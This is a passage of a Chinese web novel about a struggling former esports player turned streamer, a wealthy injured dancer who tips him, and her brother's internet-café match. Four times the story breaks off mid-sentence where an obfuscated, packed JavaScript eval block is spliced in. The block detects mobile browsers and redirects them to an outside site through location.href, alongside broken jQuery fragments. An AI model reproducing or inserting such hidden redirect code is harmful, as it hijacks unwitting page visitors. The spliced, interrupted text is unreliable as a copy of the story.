“可别,我关机,886!” 聊天的功夫,画面里已经爆发了一场枪战,都还没来得及看人是从哪边冒出来的,林熠迅速出枪开镜爆头,以至于本来就没多少观众的直播间里还有人发了句:“开挂?溜了溜了。” 随后观看人数就少了一个。 林熠看到了,笑了一下,好像也没太在意。 圈子已经缩到不能再小了,除了林熠以外还有两个人,藏在草地不知道哪一处。 好像有微弱的声音,周月白听见了,还没反应过来的时候林熠已经一颗雷扔过去,同时朝后方开了几枪。 游戏结束了。 周月白心想,打过职业就是不一样。 说着随手点开送礼物的界面。 从前给朋友刷的都是小礼物,那时候还要靠自己打工赚钱。 现在回了家,又用起了周廷的副卡,自然也就不在乎了,连着充值了两个648,给林熠刷了个价值人民币一千块的小礼物。 摄像头里的林熠第一次出现了更生动一些的表情。 与其说是生动,更不如说是别扭、不自在,但语气还是透露出了一些惊喜。 他说:“谢谢我的小宝贝美短加白送的礼物,谢谢你送的‘为你比心’,谢谢~” 说罢冲着摄像头,笨拙地、僵硬地比了一个小心心。 应该是有人教他,当观众送高额的礼物,要做动作来感谢金主爸爸。 画面有些滑稽,周月白噗嗤一声笑了出来。 随后她忽然反应过来。 这是她受伤以来,第一次真心实意地被逗笑。 5. 暴雪(05) 林熠有点懵。 还在直播中,但他忍不住悄悄切到后台看了一眼礼物收益,折合人民币确实是四位数。 开播以来,他收到的礼物打赏最多一次也就八十块,最多的同时在线观看人数是56人。 这还是后来开始播热门手游以后才有的景象,最初播守望先锋和CSGO的时候,简直可以称得上是惨淡。 两人整晚直播却铩羽而归,没赚到一毛钱的陈思睿研究了一整夜别人的直播,跟林熠激动地宣布:“我们得播手游!” 王者荣耀、和平精英……曾经林熠最看不上的游戏。他是端游忠实信仰玩家,不能用鼠标键盘操作的游戏,何来精准、优美可言? 又倔强了三天,看到转战手游的陈思睿终于一夜收获了一百多的礼物,林熠也不坚持了,第二天就开始播手游。 真香。 从这往后,他陆续开始能收到一些小礼物,但都并不多。 这个不多是指——并不够维持在北京的生活。 第十三天,情况还是没有好转。 林熠直播必不可少要添置物件,背景的摆设、麦克风支架、网费……现在他身上已经彻底没有钱了,最后的钱,估计只够买碗泡面。 这些天他从下午三点开始直播,播到凌晨三点,十二个小时,已经足够勤奋了,但却没有任何作用。天道酬勤但问耕耘就像个笑话,至少在娱乐行业行不通。 距离开播五个小时过去,晚上八点多了。 林熠已经开始疲惫,今晚情况格外糟糕,撞上其他游戏的赛事,本就没几个观众的直播间更加寂寥了。 恍惚间,他还看到顶着很像初中老同学名字的id进了房间,烦躁的无力感让他不想讲话。 全世界只有他混得这么糟糕吧。 一念之差,如果当初没选择这条路,而是继续念书,他成绩真的也不差,今年高考考个好大学,毕业了找一份好工作,是不是一切都会不一样了? 长时间握着手机的手已经冰得不成样子,桌上摄像头看不到的地方还摆着泡面碗,飘着廉价的香气,他有些饿了。 他想念阿嬷做的汤圆了,香甜的醪糟打上蛋花,喝上一口全身都暖洋洋的。阿嬷会在一边笑眯眯地看着他,说让他多吃点,不够还有。 回家吧。 要不然回家吧。 这句话在他的脑子里呼啸而过,越来越清晰。 ——你的那些梦想都是痴心妄想,不会有结果的,你做不成主播,也打不了职业,你这辈子,只能做个蝼蚁。 ——回家吧,虽然有点晚了,但你还能继续念书,你还能考大学,过上普通人的一生。 林熠真的很想关上直播,关上那个对着他的摄像头,然后抱头大哭一场。可是在镜头下,他只能扯着笑脸,一遍遍说着“欢迎来到我的直播间”。 像个小丑。 鼠标已经移到结束直播那里了,游戏却再次匹配成功要开局了。 那就再打一把吧,就当做最后一把。 他不再关注直播的娱乐性,比之前更加沉默寡言。队友跳了G港,他没跟随,自己跑到了海边。另外三人运气不好,落地成盒,在语音里疯狂咒骂林熠,“你会不会玩?一起跳不会?再来个人怎么能打不过?” 这一番闹腾,直播间里人数又少了几个。 林熠一句话都懒得解释,直接关了队伍语音,就这么孤单地一个人搜索物资,毒圈一点点缩小,左上角显示的剩余人数越来越少,直至个位数。 决赛圈了。 都无需将游戏音量调到最大,对FPS游戏经验丰富的他本身就拥有异于常人的敏锐听觉。对手在草丛里爬行产生窸窸窣窣的微弱声响,他听见,引爆一颗瞬炸的手榴弹,再迅速切换成M416步枪,向身后已经包抄过来的敌方“砰砰”开了两枪。 观众甚至没看清楚他在打哪里,游戏胜利的页面就这样出现在眼前。 之前咒骂他的队友竟还有一个没有退出,疯狂打字说“nb!”,而直播间则弹出一条评论说他开挂。林熠没什么表情,手游对他来说还是太简单了,有些索然无味,反正这是最后一局,无所谓了。 正想关掉直播,他的屏幕上却突然出现礼物画面,有一个爱心铺满屏幕的夸张特效,林熠愣了两秒,先反应过来培训时运营小姐姐告诉他,这样的礼物要比个心道谢。做完这个动作,林熠才后知后觉地反应过来,这个礼物的价值——1314元人民币。 百分之八十,他能分到四位数。 林熠努力维持着表面上的平静,可心里一时呼啸着产生了很多想法。 ——有了这些钱,又能再坚持一段时间了不是吗? ——为什么在他马上就要放弃的时候,又给了他希望?这难道就是命运的安排? 周月白就这样看着屏幕上有些僵硬但却又生动的少年,笑出了声。 她主动在公屏上打字说:“主播,别发呆了,还打游戏吗?” 林熠回过神,少年的声音很青涩,似乎不知道该怎么维系自己和“金主爸爸”的关系,小心翼翼地问:“呃……你想看我打游戏吗?想看什么游戏?” 周月白眨眨眼,回复他:“OW?”他记得周唯见说林熠当初打职业玩的就是这款游戏来着。 林熠语气下意识就带了一丝雀跃,问:“你也喜欢玩这个?” 演一波吧,周月白打字说:“嗯,是啊,主播也喜欢玩?” “喜欢……”林熠表情很真挚,“你看我id,我之前打职业的项目,就是守望先锋。但是很可惜,我们战队守望先锋分部被解散了。” 说着他打开了电脑桌面上那个熟悉得不能再熟悉的图标,匹配时间有点漫长,他天梯排名太高,现在游戏里的玩家又没那么多。 终于进入游戏,他选了他最拿手的死神,这是他的招牌英雄,似乎是为了让金主能看到他的实力,他很努力想要表现自己。 游戏过程周月白看不太懂,只知道林熠不停在击杀对手,游戏很快就结束了,21分钟。 当胜利界面出现那一刻,林熠又看见了熟悉的“为你比心”的礼物图标。 这个观众又送了他一千块。 这次林熠有些不好意思了,他诚恳地说:“你其实不用一直送我礼物的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621109|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我很感激了,这局游戏是我答应要打给你看的。” “没什么,就是觉得你玩得好。”周月白叹了口气,继续打字,“而且我现在除了花钱,也没什么能干的事情了……” 林熠心里很复杂,因为房间里这人看起来不光是钱多得没地方花,而是好像连花钱都觉得没意思了。他询问道:“怎么了呢?” 左上角的数字显示此时直播间内人不多,另外那几个人背后不知道是不是系统安排的机器人,周月白顶着马甲,毫无顾忌地想要窥探对方的痛苦:“先说说你吧?” 林熠微怔,他没想到对方会提出这样的要求,但是人家毕竟刷了将近三千块钱,他没理由拒绝这样的观众。 林熠:“我?好像也没什么好说的……” 周月白:“刚才你说,你们战队被解散了?” 林熠没去纠正“战队中的其中一个游戏分部解散”这个概念,反正意思也都差不多,就是他失业了,他说:“嗯,解散了,刚才你也看到了,这游戏排队那么久,没什么人玩,世界赛奖金池也就十五万,不赚钱。” “这么少?”周月白有点惊讶,她之前参加过一次英雄联盟的赛前表演,那一次比赛的冠军奖金是五十多万,她好奇地问:“如果战队不赚钱,那你们呢?” “当时我还未成年……就……月薪三千,包吃包住。” 周月白实在是没想到“职业选手”居然这么惨,她大学时接商演,一晚上就能赚他一个月的工资了。 “那你现在做直播,也是为了赚钱吗?” 林熠很平缓地摇了摇头,似乎这个答案已经在他心里说过一万次:“不是,做直播只是为了维生,是为了以后……” 能继续打职业。 房间里安安静静,美颜灯照得林熠眼睛有点酸,在这个他即将放弃职业道路的夜里,有一个人的突然出现改变了他一时负气且一定会后悔的想法,他突然就很想告诉这个陌生人他的真实想法——过去他从不曾告诉别人,怕别人嘲笑的傻话。 “我一定要回到职业赛场。”林熠脸上的表情十分认真,“我想拿冠军。” 周月白有一瞬被他脸上的光彩打动,她问:“为了梦想?” 少年的笑容露出两排白牙:“对,为了梦想。” 梦想,多好听的一个词。 如果把跳舞和电竞类比,周月白倒是和林熠处境很像。 周月白打字说:“好巧,我是学舞蹈的,可我刚刚受了伤,不能再上台了。” 从来没有人做过这件事——对他倾诉衷肠。林熠不知道该作何反应。要安慰吗?林熠挠了挠头,问她:“你靠跳舞维生?” “不,就是爱好。”周月白自嘲地笑了,“我家很有钱。” “那你很幸运。” “幸运吗?” 半晌,公屏上才出现了一行字——“可是,你还有重回赛场的机会,但我再也没有重回舞台的机会了。” 周月白说完,还没等镜头里的男生说话,就静静地,退出了房间。 林熠看着不再有新消息出现的公屏,沉默良久,最后破天荒地早早结束了直播。 6. 浓雾(01) 浓雾(01) 退出直播间后,周月白看着面前的屏幕逐渐变暗,再到彻底漆黑。 壁钟的秒针咔哒作响,让时间的流逝变得有形。 沉默了好一会儿,周月白缓缓推着轮椅移动到窗边,沉默地看着窗外,雪只下了两三个小时就停了,随之而来的是一场大雾,能见度很低,从窗口望不见远处湖畔边那座她很喜欢的白色塔顶。 这场大雾让交通又变得困难起来。 林熠一下播,就将账户中收到的礼物按比例提现出来,饥肠辘辘地打开外卖软件,却又发现配送费上调。他拉开窗帘,望见雾蒙蒙一片,像恐怖游戏寂静岭的世界。 低头看账户里的两千块钱,这笔钱来得突然又莫名,但足够他再坚持一段时间了。 他忽然为之前一瞬间动过的那个名为“放弃”的心思而感到羞愧。 林熠心情复杂,他不敢奢侈,拖着在电脑前坐了几个小时的疲惫身躯,去厨房里烧水。滚烫的水流注入杯面时,溢出一阵香气。食物不分高低贵贱,总能驱散饥饿,温暖身体,让人重新燃起斗志。 热乎的面条下肚,林熠心想,如果往后的直播还能像今天一样收到礼物,他很快就能够攒下一笔钱了,他可以一边维生一边等待战队招人的机会——当初不远万里来到北京,除了公司老板的推荐和陈思睿的怂恿以外,一个没告诉过任何人的原因,就是因为这里有一支全国最有名的OW战队,曾经在守望先锋世界杯中拿过亚军。 他在等待战队招人的机会。 望着账户里的余额,他觉得离那一天更近一些了。 可惜踌躇满志只持续了一晚,令林熠没想到的是,那晚之后,那个给他花了两千块的账号再没出现过,一看粉丝列表,那个人甚至都没有关注他。 但他早就悄悄记住了这个叫美短加白的账号,还特意上网去查了一下,图片上的小猫是毛茸茸又有精气神儿的样子,他恍然想起上次去直播公司签约时,公司里也有一只,林熠还顺带知道了这就是动漫里常出现的起司猫。 他对品种猫没了解,从前家里也养过一只猫,中华田园大橘猫,阿嬷叫它花花。 或许账号的主人很喜欢猫? 一周过去,这位喜欢猫的“金主”还是没来直播间,这期间只断断续续有几个人给林熠刷过礼物,都是几块钱。 陈思睿知道这件事后痛心疾首,对林熠没能当晚加微信套牢金主表示惋惜,然后神神秘秘地送了林熠个礼物盒子,拆开一看,是一个猫耳发卡。 林熠嫌恶地盯着那个毛茸茸的不明物体:“你有病?送我这种东西干嘛?” 陈思睿一副老神在在的模样教育他:“你不懂,很多大主播其实也并没多少肯为他花钱的粉丝,重要的是能套牢一个有钱又大方的金主,之前那个一晚上给你刷两个比心的金主就是你的机遇啊!” “那跟猫耳朵有什么关系?” “你不知道吗?当男主播最容易赚钱的几件事,卖腐声控扮女装啊,你那金主虽然看着是个女的,但是网络背后谁也说不准,不是说喜欢猫吗,那你就扮成小猫咪啊~”陈思睿一边说一边坏笑。 林熠猛锤了他一下:“神经病啊,我是技术流主播,还需要这些吗?” …… 当晚,林熠的直播间里,人数破天荒地超过了三位数。 因为主播是一个眉目清秀,脸色酡红,又戴着粉嫩毛绒猫耳朵的俊俏少年。 他别别扭扭地打着游戏,尽量让自己无视弹幕上那些调戏他的言语。可没想到,他费尽心机装扮,等来的不是上次的“金主”,尽是一些猥琐男。 在注意到第十三个发表色眯眯言论的人,刚把鼠标移动到他id旁边准备禁言时,他突然看到那个顶着很像他初中同学名字的人显示刚刚进入了直播间。 林熠吓得直接关了直播。 他是可以无视别人对他中途放弃学业去打游戏的看法,但不代表可以让他从前的同学看到他为了生计戴着猫耳朵直播的场面。 林熠摘下头上那个毛茸茸的东西,拿在手里,嘴角浮现一抹自嘲的笑,他突然觉得自己很悲哀。 明明他幻想的未来应当是站在美国的暴雪总部捧起冠军奖杯,而如今,他握着滑稽的猫耳朵,在给一群猥琐男表演。 太丢脸了。 而掺杂在一群猥琐男中间的周唯见,张着嘴,望着那个显示“主播不在家哦”的标语,显然是过于吃惊了。 刚刚他看到林熠在直播就随手点进来,还没来得及从他戴着猫耳朵发卡的震撼中走出来,就看到他慌张地下了线。 周唯见回想起当年他第一次走进教室,见到角落里那个白净的少年起,他从未见林熠脸上出现过这种表情——窘迫、悲哀、慌乱,像一匹受伤的小兽。 想了想,他从通讯录里找到了那个许久没联系的人,敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621110|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去一行字。 【周唯见:林熠,在吗?】 听见手机响,林熠丢下猫耳朵,点开对话框,看见的就是久未联系的老同学发来的讯息。他闭了闭眼,心里想的是——没有任何侥幸的余地,那个叫“唯见江心秋月白”的id真的是他的。 他没回复,只想捂住脸,把手机丢在一边,过了会儿对方又发来一条消息。 【周唯见:今天咱初中同学联系我,说寒假会来北京提前看看想报考的学校,顺便聚一聚。你呢,你还在成都打职业吗?训练忙不忙啊?到时候能抽出空来北京看看我们不?】 林熠苦笑,周唯见还跟当初一样,善良又单纯,明明看到了他的窘况,还想方设法让林熠以为他不知道。彼此心知肚明,林熠没必要说谎,就如实告诉他: 【Yee:不在成都,我现在就在北京。】 【周唯见:来北京了都不跟我联系?这么不够意思啊?】 没等林熠回答,对面像生怕冷场一样赶忙又说: 【周唯见:那你现在忙不忙啊?这周五有空吗?】 林熠心里感激周唯见惦念自己,但根本不想逼自己去叙旧,接受一些怜悯的目光。一句“有点忙,没空”都已经打在对话框中了,还没发送,对面就又发来消息。 【周唯见:周五我有一场CSGO的比赛,隔壁学校几个男生非要跟我们比,网吧老板办了个网吧赛,现在奖池到五位数了,我心里有点打鼓。】 【周唯见:他们几个天梯分数都挺高的,我们可能打不过,可不应战又太丢人……你能来帮我代个打吗?】 林熠一愣,看到五位数的奖金,不心动是假的。 【Yee:以你的名义参赛?】 【周唯见:昂……最好是……】 【Yee:那恐怕不行。】 再爱钱,职业选手的原则也是有的,无论哪个项目,代打都是高压线。 【周唯见:那我不上了,你用你自己的名字上,大不了就是被对面说我们找外援,怎么了,职业比赛还有外援呢。】 林熠沉默了一会儿,又收到新消息。 【周唯见:到时候你替我上,另外几个都是我的好哥们,但玩得也都不咋地,估计要赢就得靠你,我跟他们说好了,为荣誉而战,赢了奖金你都拿着。】 五位数。 现在的他确实特别需要。 【Yee:好。】 7. 浓雾(02) 跟周唯见约好的时间是下午四点,见面地点是他们学校附近的一家网咖。林熠提早在高德上查了路线,要转公交加地铁才能到。 他提前一个半小时出门,应当是一天中还算是暖和的时间点,可迎面的冷风还是让他打了个寒颤。 今年是个难得一遇的冷冬。 林熠从新闻里听了一嘴,拉尼娜现象还是什么北极海冰异常减少的原因,他听不明白,只知道这是他来北方的第一年,老天似乎不太给面子。 一路辗转,等到了网咖门口,已经四点零三分了。 周唯见微信里说在里面等他,林熠推开门,才见一楼弄了大屏幕转播,几个人在调试设备。 虽然是个网吧赛,弄得还挺像模像样。 林熠一眼认出人群中的周唯见,三年来他除了个子窜条,好像什么都没变。林熠走过去,周唯见往这边一看立刻迎上来,惊喜的声音响起:“熠哥!” 他们生日差几个月,当年上学时,周唯见总是这样叫他。 林熠一晃神儿的功夫,周唯见已经扑过来了。他身边几个一样穿着校服的少年也都走过来,纷纷叫他:“熠哥好。” 这让林熠有点难为情,毕竟他是来赚钱的,没想过要受什么礼遇,能安心打完比赛领钱就行了。 他不自在地扯出个笑,跟他们打招呼:“你们好。” 周唯见一把揽过林熠的胳膊,兴奋又夸张地介绍:“这是我初中同学林熠,当年我玩lol和cs都是他教的,他人特好,游戏也玩得特好!偷偷告诉你们,他可是打职业的!” 旁边几个男生顿时眼里带了点崇拜。 他们这个年纪的男孩子,或许对世间万物都有点愤世嫉俗的不忿,但对于电竞职业选手,却有一种迷之向往和崇拜。 几个人闹闹哄哄地把林熠拉过去座位上,一会问他最擅长什么,一会儿又说全听他指挥,还顺带加他游戏好友说以后要经常一起开黑。 林熠更难为情了。 四周探询的目光越来越多,他已经好久没有来过这么多人的场合了。 明明大家都是同龄人,周唯见和他的同学们还像是一群玩闹的大男孩,林熠在一旁却像个沉静的大人了。 不过早进入社会三年而已。 林熠觉得自己和周遭格格不入,只想快点打完比赛回家,好在两边选手都已就绪,比赛很快开始。 第一回合开局林熠跟队友要了个中路闪,按照以往的经验白到对面架狙的ct(警察),趁着这个盲区,林熠追到常规带闪光peek(小身位侦查)的对手,进入五打四。 拿下了首杀之后他指挥队友向B区给压力,对手见到这个举动理所当然认为林熠他们没控制住工地,求胜心切之下超出职责范围去拿地图控制,不料家都被抄了还没反应过来。 接连几个回合,林熠总是在各种出其不意的角度出现,时常一枪爆头,轻取敌方。 无论是对手还是观众,显然都意识到场上有一位高手。 哪怕一开始只是来网吧打游戏想随便看看热闹的,此刻也都聚精会神——他们根本没预料到能在网吧里、在一群中学生中,看到如此精彩的比赛。 - 夜色泛红,窗子结露,显然是个寒夜。 周月白坐在窗前放空,这段时间以来她时常会发呆,有时候是在脑海里回顾烂熟于心的舞步,有时候是回忆起舞房那扇大落地窗透进阳光时能看见的尘埃,有时候就只是大脑一片空白地看着窗外,也不知道是在放松还是在放弃。 今天的发呆环节才进行没多久,家里的电话就响了。 分机在走廊有一台,范妈似乎是不在,叮铃铃好几声都没人接听。 周月白推着轮椅去接电话,庆幸还赶得上对方没挂断。 “您好,找哪位?” 电话对面是个陌生的中年女性,听到周月白的声音也有些意外,她大概知道周唯见母亲早已去世的情况,犹豫地问:“您好,我是周唯见的班主任,你是……” “老师您好,我是他姐姐,他在学校出什么事情了吗?” “哦,是这样,刚才我去班里检查,发现他晚自习逃课了,问了半天班里同学才有人说他是去网吧打游戏了……” “什么?”周月白太阳穴突突地跳,感觉血压立刻上来了。 “嗯您也别太着急,说实话这也是第一次出现这样的情况,周唯见平时还是挺让人省心的。但是毕竟都高三了,虽然说距离高考还有半年,现在也到了该全力冲刺的时候了,周唯见是个好孩子,但是玩心太重了,我知道他的情况,他父亲似乎也没时间管他,我还是第一次知道他有个姐姐,如果可以的话,还是希望您多管管他,让他收收心,上重点还是很有希望的……” 挂了电话,周月白一刻不停,没顾自己的伤腿,叫上家里司机帮忙,直奔老师说的那家网咖。 她想宰了周唯见那个小兔崽子。 一路上没费多少时间,网咖的位置稍微有些难找,周月白下了车,由司机推着轮椅走。 这组合在学校附近还是有点怪异,有出来买晚餐的学生好奇地多看了她好几眼。 周月白进去的时候,网咖中气氛热烈,比赛进行得如火如荼,并没有几个人注意到她。 她能听见面前围成一撮的观众小声议论着:“我去,附中那个人也太厉害了吧,这赢得毫不费力啊!” “我好像没在学校里见过他呢,按理说长得这么好游戏又玩得这么强,不该不认识啊?” 周月白顺着大家的目光,第一眼先看到周唯见,转而就发现,他并没有在玩游戏。 真正坐在电脑前的是一个纤瘦的少年,戴着耳机,手指在键盘上翻飞。他的侧脸轮廓流畅,脸上的表情是与周围闹哄哄的环境完全脱节的平静。 虽然比赛本身没有太强的可看性,几乎是一边倒地殴打,但林熠的表现实在太过亮眼,论个人操作,他盲狙、瞬爆闪、瞬瞄都能轻易做到;论团队指挥,他沉稳冷静,有大局观,常常智取敌方。 这些半大少年平日里除了在职业比赛和游戏直播里见过这种操作,现实里遇见这还是第一次,连对面的五个人都被打得心悦诚服。 可安静操作着的那个少年,他没有占据优势的自得,也没有比赛进行中的认真,周身散发出闲适的笃定感,别说是年仅十八岁的少年,就算是在成年人身上也很少见。 尤其是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621111|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周月白之前见过他——林熠,是叫这个名字吧? 那个曾笨拙地感谢她送礼物的少年,在镜头里,从未有一刻流露出这种自信。 而此刻,他好像站在自己熟悉的战场,在做重复过无数次的练习。 而周唯见就坐在一旁,迷弟似的看着他的操作。 对面已经是强弩之末了,比赛结果完全在意料之中,很快,但很漂亮。 主办方很快宣布比赛结果开始颁奖,等领完奖,几个少年说说闹闹,咋呼着今晚要出去吃饭庆功。一回神儿,周唯见就看见周月白坐着轮椅,在门口一瞬不瞬地盯着他。 周唯见心虚地喊了一声:“姐,你怎么来了。” 众人这才将目光都移到周月白脸上,她穿白色大衣,脖颈纤长,衣领上的狐狸毛遮住两颊,一张脸不施脂粉,苍白如凝脂,更显得眼睛大而漆黑。 一个美女,美得如此透明和易碎。一群男高中生都看得有点发愣。 只有林熠脸上没有什么表情,跟几个人说:“你们聚吧,我先走了,晚上还有事。” 他的直播时长不能断。 手里那张不算大的牌子写着奖金人民币13000元整,被林熠交给了旁边的人,反正转账已经收到了,牌子拿着坐地铁还碍事。 周月白睨见,发出了轻声的嗤笑,语气不善:“这就要走了吗?” “姐!”周唯见跑到她身边,想拽住她的衣袖,又似乎有话要说。可周月白这个人脾气上来谁也拉不住,“职业选手来网吧替人打假赛,就为了这么点奖金?” 不知道是职业选手还是假赛这个词实在太过刺耳,林熠皱了皱眉。 他很不悦,但看得出眼前这个人是周唯见的姐姐,甚至还坐着轮椅出来找逃课的弟弟,他不想计较。 “我先走了。”林熠这话是冲着周唯见说的,随后伸手戴上卫衣的兜帽,想要离开。 朝门外走,势必要路过周月白,她用不大不小刚好几个人都能听见的声音说:“你不是说为了梦想才做主播的吗?你的梦想不是继续打职业吗?立个上进人设骗粉丝谁不会啊,说到底不就是为了赚钱吗?” 轮椅上的纤细身影莫名和受伤舞者的自述重合,这番话又是林熠只有那天晚上才吐露的心声。 林熠脚步顿住,回过头问:“之前直播间,是你?” 脑海里略一思索就能得出答案,善良心软的周唯见发现老同学在做直播,不好意思自己刷钱怕给林熠难堪,所以让姐姐代劳。 原来他自以为是命运般的转机,也不过是旁人有心的施舍。 林熠觉得指尖发酸,眼睛干涩,几盘游戏打完的疲惫感在此刻如潮水般上涌,周遭的视线、喧嚣都是负担,只想快点逃离这里。 他摘下帽子,有点长的刘海无力地垂在前额,还是解释了一句:“所以,你以为坚持梦想是什么?抱着我以后还要打职业的心回到家里等待机会就行吗?” “不管你怎么想,我说你很幸运,是真心的,因为不是所有人都和你一样的。” 说完这句话,少年再次套上黑色的兜帽,踏出温暖明亮的室内。 迎面漆黑一片,冷风刺骨,雪不知从何时又开始下了。 8. 浓雾(03) 路灯昏黄的灯光下,可以看见细小的雪花,车子只是疾驰而过,无人观赏窗外。 气温不够低,所谓的小雪细密飘摇近乎雨丝,司机打开雨刷器,有规则的轻响听得人无端烦躁,姐弟二人坐在车里,相对无言。 到了家,一贯懂事听话的周唯见第一次给周月白甩了脸色,没管周月白坐着轮椅是否行动不便,径直就要回自己房间。 周月白压抑了一路的火气,此刻再也压不住了:“周唯见,你给我站住。” 她自己推着轮椅,挥退司机才道:“你现在这是为了一个外人跟我闹脾气吗?你今天逃课去网吧难道做对了吗?你那个初中同学自己辍学混社会也就算了,现在为了赚钱顶替你打比赛,带着你玩游戏不学好,我又有哪句说错了吗?” 周唯见攥了攥拳头,又松开,回过头来的时候眼睛居然是红彤彤的,他声音低哑,语气近乎控诉:“姐,你知道什么?你凭什么这么说他?你知道林熠是怎么过来的吗?你知道我又是怎么过来的吗?” 一连串的问句,一句比一句语气强硬,直到最后一句,周月白终于觉出不对。 周唯见的成长轨迹,她怎么会不知道?一路上着最好的学校,师大附小到附中,享受着最好的师资条件,最好的物质生活,从小就是让人艳羡的“含着金汤匙出生的”孩子。 周月白冷着声问:“什么叫,你是怎么过来的?” 周唯见往回走了两步,颓然坐到沙发上,双手捂住头,讲述了一段周月白不知道的往事。 “姐,你难道不觉得奇怪吗,我为什么会和林熠成为同学。”林熠的家境,显然跟周唯见截然不同,成长路上也不应该轨迹重合。 少年静静地说:“那一年,你上大学跟家里决裂之后,爸因为工作要去南方,带着我一起走的,我这才转学到了林熠的班级。” 周唯见上的几乎是全国最好的学校,周廷也不是莽撞的人,即使要走家里也有范妈可以照顾他,没必要一起去南方,这说不通。周月白不解:“为什么要转学?” “因为当时我离不开爸。妈走了,你也走了,你们都走得干脆,没有一个人考虑我。”周唯见的声音很低,很脆弱,“那年我确诊中度抑郁,爸去南方工作,我自己在家惊悸发作,后来差点……” 周唯见没说出来“自杀”这个词,但周月白显然听懂了。 她震惊到无以复加,脑子乱乱的,一片空白,说不清是心疼还是自责的情绪翻涌着到了胸口,闷到说不出话来,令人觉得窒息。 “那时候我总觉得自己会被抛弃,离开人就会病情加剧,所以后来,爸就带着我一起去了南方。” 周月白哑着嗓子说:“为什么,不告诉我?” 周唯见笑了笑:“一开始想说来着,但是你总是很忙,忙着赚钱,忙着跟爸吵架。到后来有机会说了,也不需要说了,那时候我已经好多了,也不想让你担心。” 周月白有点茫然地看着弟弟,她竟然从来不知道,自己的负气离开,竟然给他带来了这么大的痛苦。 周唯见的情绪也平复很多了,他静静叙说着:“刚到外地的时候,我很不适应,班级里大家都当了一年同学了,我半道转学去的,有点格格不入。那时候林熠是我同桌,是他第一个邀请我一起去吃午饭,带着我一起玩,让同学们都跟我亲近的……因为他,后来我的抑郁好了很多。” “那时候他教会我打游戏,让我看到了另一番天地。说真的,游戏不是你想的那样……”周唯见抬头看了周月白一眼,又收回目光,“算了,不说这个了。” 他的欲言又止让周月白有些难受,小时候白歆谙逼着她练舞,她不能出去和别的小朋友一起玩的时候;母亲死后周廷不许她再练舞,强迫她改学其他专业的时候,周月白都曾暗自想过:如果以后她成了家长,一定要把自己不曾获得的理解和关心都给孩子。 可如今,她竟然也和他们的父母一样,在用自己的偏见绑架弟弟的人生。 周月白张张口,却没说出什么,周唯见继续说着:“其实林熠他初中的时候成绩很好,但不是书呆子,他篮球打得也很好,游戏玩得也很棒,我们所有同学都很喜欢他。后来有一天他告诉我有家电竞俱乐部想找他去打职业,但是他家里不同意,老师也不同意,因为他的成绩肯定能上个重点高中。” “我记得那时候我说,我支持他,我相信他一定能拿到世界冠军的。我也不知道我说的话他是不是听进去了,我只知道后来他真的去了。”周唯见的话几乎有泪意了,“所以当我知道他战队分部解散,只能做主播维生的时候,我甚至觉得这是我的错,如果当年我也劝他不要去,说不定现在他正跟我一样在教室里备战高考,凭他的成绩,他一定能考上好大学的。” 周月白讷讷道:“这不是你的错,每个人都有自己的人生……” 周唯见抬头,红着眼说:“对,每个人都有自己的人生,像你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621112|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样选择跳舞的人生是对的,像我一样选择高考的人生是对的,可是像他一样选择打职业的人生,为什么就是错的呢?” “我没有说他错,我只是……”周月白恍然想起,她刚才对那个少年说的话,的确是过分刻薄了,所以对方脸上才会露出那样悲戚的神色吧。她觉得歉疚,却也只能无力地说:“对不起,我不知道……” 周唯见拿出手机,操作了几下,随后走到周月白身边:“他没带着我不学好,他也没替我打假赛。我本来想的,但是他不同意,他明明那么需要赚钱,还是没有同意顶着我的名字打比赛,即使是一场网吧赛。” 递到面前的手机,是今晚举办比赛的网咖公众号发布的推文,其中冠军队伍获奖名单中,林熠的名字赫然在列,并没有周唯见。 周月白真的误会他了。 “对不起,我真的不知道,我还以为他只是为了钱……” 